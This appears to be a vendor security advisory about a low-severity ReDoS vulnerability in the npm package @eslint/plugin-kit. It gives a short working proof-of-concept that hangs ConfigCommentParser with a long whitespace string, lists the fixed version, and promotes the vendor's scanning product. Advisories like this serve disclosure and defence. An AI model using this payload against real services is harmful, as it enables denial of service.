GHSA-7q7g-4xm8-89cq is a low-severity (CVSS 3.5) CWE-1333 vulnerability in @eslint/plugin-kit. O3 Security confirms whether GHSA-7q7g-4xm8-89cq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
Real-World Exposure
@eslint/plugin-kitReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Crafting a very large and well crafted string can increase the CPU usage and crash the program.
POC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
var str = "";
for (var i = 0; i < 1000000; i++) {
str += " ";
}
str += "A";
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")
// run `npm i @eslint/plugin-kit` and `node attack.js`
// then the program will stuck forever with high CPU usage
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @eslint/plugin-kit | all versions | 0.2.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @eslint/plugin-kit. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @eslint/plugin-kit to 0.2.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7q7g-4xm8-89cq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7q7g-4xm8-89cq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7q7g-4xm8-89cq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7q7g-4xm8-89cq in your dependencies?
O3 detects GHSA-7q7g-4xm8-89cq across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.